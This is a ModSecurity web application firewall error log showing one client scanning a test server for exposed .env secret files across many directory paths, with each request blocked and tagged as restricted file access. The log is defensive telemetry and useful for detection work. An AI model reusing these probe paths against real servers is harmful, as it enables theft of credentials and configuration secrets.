[Thu Feb 26 01:03:18.742259 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEwAAAAQ&quot;]
[Thu Feb 26 01:03:18.742457 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEwAAAAQ&quot;]
[Thu Feb 26 01:03:18.777032 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlrgAAAAI&quot;]
[Thu Feb 26 01:03:18.777358 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlrgAAAAI&quot;]
[Thu Feb 26 01:03:18.777563 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlrgAAAAI&quot;]
[Thu Feb 26 01:03:18.817460 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlrwAAAAI&quot;]
[Thu Feb 26 01:03:18.817772 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlrwAAAAI&quot;]
[Thu Feb 26 01:03:18.817967 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlrwAAAAI&quot;]
[Thu Feb 26 01:03:18.840276 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/node-manager/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIFAAAAAQ&quot;]
[Thu Feb 26 01:03:18.840571 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIFAAAAAQ&quot;]
[Thu Feb 26 01:03:18.840772 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIFAAAAAQ&quot;]
[Thu Feb 26 01:03:18.846541 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlsAAAAAI&quot;]
[Thu Feb 26 01:03:18.846848 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlsAAAAAI&quot;]
[Thu Feb 26 01:03:18.847042 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlsAAAAAI&quot;]
[Thu Feb 26 01:03:18.866132 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /st-js-be-2020-movies-two/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIFQAAAAQ&quot;]
[Thu Feb 26 01:03:18.866440 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIFQAAAAQ&quot;]
[Thu Feb 26 01:03:18.866635 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIFQAAAAQ&quot;]
[Thu Feb 26 01:03:18.891120 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-collected/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlsQAAAAI&quot;]
[Thu Feb 26 01:03:18.891402 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlsQAAAAI&quot;]
[Thu Feb 26 01:03:18.891592 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlsQAAAAI&quot;]
[Thu Feb 26 01:03:18.928290 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stackato-pkg/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIFwAAAAQ&quot;]
[Thu Feb 26 01:03:18.928624 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIFwAAAAQ&quot;]
[Thu Feb 26 01:03:18.928847 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIFwAAAAQ&quot;]
[Thu Feb 26 01:03:18.934533 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlsgAAAAI&quot;]
[Thu Feb 26 01:03:18.934800 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlsgAAAAI&quot;]
[Thu Feb 26 01:03:18.934989 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlsgAAAAI&quot;]
[Thu Feb 26 01:03:18.960419 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlswAAAAI&quot;]
[Thu Feb 26 01:03:18.960707 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlswAAAAI&quot;]
[Thu Feb 26 01:03:18.960900 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlswAAAAI&quot;]
[Thu Feb 26 01:03:18.969413 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stag/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIGAAAAAQ&quot;]
[Thu Feb 26 01:03:18.969694 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIGAAAAAQ&quot;]
[Thu Feb 26 01:03:18.969890 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIGAAAAAQ&quot;]
[Thu Feb 26 01:03:18.994850 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjltAAAAAI&quot;]
